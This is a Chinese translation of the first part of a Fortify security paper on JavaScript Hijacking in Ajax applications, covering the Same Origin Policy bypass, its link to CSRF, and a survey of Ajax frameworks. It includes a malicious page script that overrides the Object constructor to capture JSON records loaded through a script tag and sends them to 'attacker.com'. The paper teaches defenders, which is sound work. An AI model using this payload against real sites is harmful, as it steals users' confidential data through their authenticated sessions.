# 劫持 JavaScript 程式(上)

文章來源：HP-Fortify　翻譯整理：叡揚資訊 資訊安全事業處

現在有愈來愈多的 Ajax 網路應用程式，它是利用 JavaScript 來實作網路的傳輸機制。這篇文章會提到一種弱點，我們稱之為 JavaScript Hijacking。這個弱點會允許一未經認證的第三方程式去讀取在 JavaScript 訊息中的機敏性資料。這個攻擊是使用<script>標籤來規避網頁瀏覽器的同源政策(Same Origin Policy:即只允許來自同一個網站的指令碼)。傳統的網路應用程式不會有這個問題的，因為它們並不是使用 JavaScript 來作為網路的傳輸機制。

我們分析了目前最熱門的12種Ajax架構，包含了四種與伺服端整合的工具包：Direct Web Remoting (DWR), Microsoft ASP.NET Ajax (a.k.a. Atlas), xajax , Google Web Toolkit (GWT)，和八種純客戶端的函式庫：Prototype, Script.aculo.us, Dojo, Moo.fx, jQuery,Yahoo! UI, Rico, and MochiKit。我們確定了在這些架構中，只有DWR 2.0有針對JavaScript Hijacking作了防護，而其餘的架構並無提供任何明確的保護機制，也未在它們的文件中提及任何的安全議題。

雖然多數的使用者並未使用上述的任一架構，但依據我們對這些架構的研究，我們相信許多客戶端所建立的應用程式仍是有弱點的。若一應用程式有下列條件，它就是有弱點的：

1. 它使用JavaScript來傳輸資料
2. 它處理了一些機密性資料

我們倡導兩種解決的方式，使應用程式拒絕那些惡意的請求也避免攻擊者直接執行應用程式所產生的JavaScript程式碼。

## 1.簡介

雖然對於Web 2.0一詞並沒有很嚴謹的定義，但它至少有兩種常見的使用方式。首先，它是指一個Web應用程式，擁有鼓勵社群互動或者能集合眾人貢獻的特性。第二，它是一個良好的Web程式設計能力，能作出豐富且易於使用者使用的介面。這些技術有時伴隨著Ajax技術，雖然很多在設計上不一定會用到XML技術。在一些例子中，Web 2.0的社群和技術面會以混搭的形式一同出現。如一Web應用程式是由一些獨立的Web應用程式拼湊而成。



GSS 叡揚資訊 Galaxy Software Services
台北總公司：10461 台北市中山區德惠街 9 號 5 樓　TEL：(02)2586-7890　FAX：(02)2586-8787
高雄辦公室：80453 高雄市明華路 317 號 6 樓　TEL：(07)586-6195
海外據點：上海、北京　營業範圍：兩岸三地及日本　www.gss.com.tw

這份文件是描述我們稱為JavaScript Hijacking的弱點。這個弱點攻擊一些Web應用程式常用的傳輸機制。JavaScript Hijacking允許一個未經驗證的使用者從一有弱點的應用程式去讀取一些機敏性資料，這個技巧類似產生mashup的技巧。

這個弱點在業界已經被廣為討論，但大部分的Web程式設計師卻不知道這個問題的存在，並且多數的資安團隊也不知道這個問題有多麼的普遍。

傳統的Web程式並沒有JavaScript Hijacking的問題，因為它們並沒有使用JavaScript來作資料的傳輸。根據我們所知，這個Web應用程式的弱點是第一級的。基本上，JavaScript Hijacking之所以可能，是因多數的網站瀏覽器並不希望程式用JavaScript來傳輸一些機敏性的資訊。

JavaScripts其實是架構在一個非常普遍的弱點:跨站偽造請求(Cross-Site Request Fogery)。跨站偽造請求會使一個被攻擊者在不知情的情況下傳送HTTP請求到一個有弱點的網站。此類攻擊會連累資料完整性(data integrity)，它會讓攻擊者去修改存在此弱點網站上的一些資料。JavaScript Hijacking會比這個問題更為嚴重，因它甚至會危及機密性--讓攻擊者有機會去讀受害者的資料。

有弱點的網站已被發現無法控制了。第一個展示JavaScript Hijacking的人是Jeremiah Grossman，他發現Google的Gmail有這一個弱點(當然Google已經修復這問題了)。Google是用JavaScript來讓使用者存取Gmail的通訊錄，所以攻擊者可以使用JavaScript Hijacking來偷取通訊錄名單。

在我們的研究中，我們檢查了12個流行的Ajax架構，其中4個是伺服端的工具程式而另外8個是在客戶端的函式庫。我們發現這個12個中只有一個有抵擋JavaScript Hijacking的攻擊。要避免JavaScript Hijacking的攻擊必須要有一個安全的伺服端實作，但在客戶端同樣要實行好的安全性原則。到目前為止，就是因為在客戶端的函式庫有這類問題而使得伺服端也有這個問題。

## 2. JavaScript Hijacking

網站瀏覽器使用了同源政策(the Same Origin Policy)來保護使用者免於一些惡意網站的攻擊。同源政策的要求是，為了讓JavaScript來存取一網頁的內容，JavaScript和網頁必須來自於同一個網站。如果沒有這個同源政策，一個惡意網站就能利用JavaScript來存取來自一擁有使用者認證網站的一些機敏性資料，把這些資料傳給攻擊者。

JavaScript Hijacking就是繞過了同源政策而使Web應用程式傳輸機密性的資料。這個同源政策的漏洞會使來自任一網站的JavaScript在另一網站上被囊括並執行。即便攻擊者無法直接檢視被攻擊的客戶端資料，它仍然能設置一環境來觀看其JavaScript的執行結果和一些效應。正因許多的Web 2.0使用JavaScript作為資料傳輸的機制，所以它們就有著傳統的Web程式所沒有的弱點。



GSS Galaxy Software Services 叡揚資訊
台北總公司：10461 台北市中山區德惠街 9 號 5 樓　TEL：(02)2586-7890　FAX：(02)2586-8787
高雄辦公室：80453 高雄市明華路 317 號 6 樓　TEL：(07)586-6195
海外據點：上海、北京　營業範圍：兩岸三地及日本　www.gss.com.tw

現在在JavaScript中最流行的資料傳輸格式是JSON，在JSON RFC定義了JSON表示式是JavaScript物件實字的子集。JSON是基於兩類的資料結構：陣列和物件。任何的資料傳輸格式，只要它是能被轉譯為合法的JavaScript語句，就有著JavaScript Hijacking的弱點。因著JSON陣列會被視為合法的JavaScript語句，所以JSON會使得JavaScript Hijacking攻擊更為容易。因為陣列本身是一種溝通清單資料的格式，所以當應用程式需要去傳輸許多值的時候，陣列是常常被拿來使用的。換言之，JSON陣列會直接遭到JavaScript Hijacking的攻擊。但JSON物件只有在它被建構為合於JavaScript語句的結構時才會有這個弱點。

接下來的例子，是一個合法的JSON字串，是一伺服端與客戶端互動的應用程式元件，它是用來處理銷售機會的程式。接下來，它會展示攻擊者如何偽裝成客戶來存取從伺服器回傳的機密性資料。接下來所有的例子，都是在Mozilla-Based的瀏覽器上執行的。當一物件並非用"new"運算子產生時，其它的主流瀏覽器並不允許原生的建構子被覆寫。

下面的例子是，客戶端送出請求到伺服器並評估(evaluate)回傳的結果：

```
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
        if (req.readyState == 4) {
        var txt = req.responseText;
        object = eval("(" + txt + ")");
        req = null;
        }
};
req.send(null);
```

當此程式碼被執行時，它會產生一HTTP請求如下：

```
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
```

然後伺服器回傳一JSON陣列：

```
HTTP/1.1 200 OK
Cache-control: private
```



GSS 叡揚資訊 Galaxy Software Services
台北總公司：10461 台北市中山區德惠街 9 號 5 樓　TEL：(02)2586-7890　FAX：(02)2586-8787
高雄辦公室：80453 高雄市明華路 317 號 6 樓　TEL：(07)586-6195
海外據點：上海、北京　營業範圍：兩岸三地及日本　www.gss.com.tw

Content-Type: text/javascript; charset=utf-8

...

[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",

"purchases":60000.00, "email":"brian@fortifysoftware.com" },

{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",

"purchases":120000.00, "email":"katrina@fortifysoftware.com" },

{"fname":"Jacob", "lname":"West", "phone":"6502135600",

"purchases":45000.00, "email":"jacob@fortifysoftware.com" }]

在這例子中，JSON字串中含有與使用者有關的機密性資訊。其它使用者若沒有session id是無法存取這些資料的。(現在有一些網站session id是存放在cookie中)，然而，若使用者造訪了一些惡意網站，那這些惡意網站就可使用JavaScript Hijacking來取得一些資訊。

若一受害者被誘騙而去造訪了含有以下惡意程式碼的網頁，這使用者一些開頭的資訊會被傳送至攻擊者的網站：

```
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
        this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
        var objString = "";
        for (fld in this) {
        objString += fld + ": " + this[fld] + ", ";
        }
        objString += "email: " + x;
        var req = new XMLHttpRequest();
        req.open("GET", "http://attacker.com?obj=" +
        escape(objString),true);
        req.send(null);
}
</script>
```



GSS Galaxy Software Services 叡揚資訊
台北總公司：10461 台北市中山區德惠街 9 號 5 樓　TEL：(02)2586-7890　FAX：(02)2586-8787
高雄辦公室：80453 高雄市明華路 317 號 6 樓　TEL：(07)586-6195
海外據點：上海、北京　營業範圍：兩岸三地及日本　www.gss.com.tw

```
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
```

這惡意的程式碼使用了script的標籤來包含一個JSON物件在目前的頁面。網頁瀏覽器會將正確的session cookie與請求一同送出。換句話說，這個請求會被當作來自原合法的應用程式來處理。

當這個JSON陣列被送至客戶端，它會在此惡意的網頁中被分析(evaluate)出來。為了要看到這個JSON字串被評鑑(evaluation)，這個惡意的網頁已重新定義了用來產生物件的JavaScript函式。用這個方式，此惡意的程式碼就插入了一個鉤(hook)，使它能存取這個物件的創建並將此物件的內容傳送回其惡意網站。其它的攻擊則有可能是去覆寫生成陣列的建構子。

一個用來建構混雜(mashup)的應用程式可能在它訊息的結尾會去呼叫callback函式。在這混雜中，callback函式常是定義在另外一個應用程式中。callback函式會使得JavaScript Hijacking攻擊變為容易，所有攻擊者要作的就是去定義callback函式。一個應用程式可以是混雜友善的(mashup-friendly)，意即容易被別人使用的，或者可以是安全性較高的，但這兩者往往不可兼得。

如果使用者並沒有登入這個被攻擊的網站，則攻擊者會去請求使用者登入或是顯示正常的登入頁面。這並非一個釣魚的攻擊，攻擊者並沒有取得使用者的帳密資料，所以已往用來偵測釣魚攻擊的方法並不管用。

更為複雜的攻擊手法是藉由JavaScript來動態產生script的標籤以產生一連串的請求給應用程式。這相同的技巧常被用來產生混雜(mashup)。不同的是，在這個混雜的設計架構中，有一個被包含的應用程式是惡意的。

下期待續...



GSS Galaxy Software Services 叡揚資訊
台北總公司：10461 台北市中山區德惠街 9 號 5 樓　TEL：(02)2586-7890　FAX：(02)2586-8787
高雄辦公室：80453 高雄市明華路 317 號 6 樓　TEL：(07)586-6195
海外據點：上海、北京　營業範圍：兩岸三地及日本　www.gss.com.tw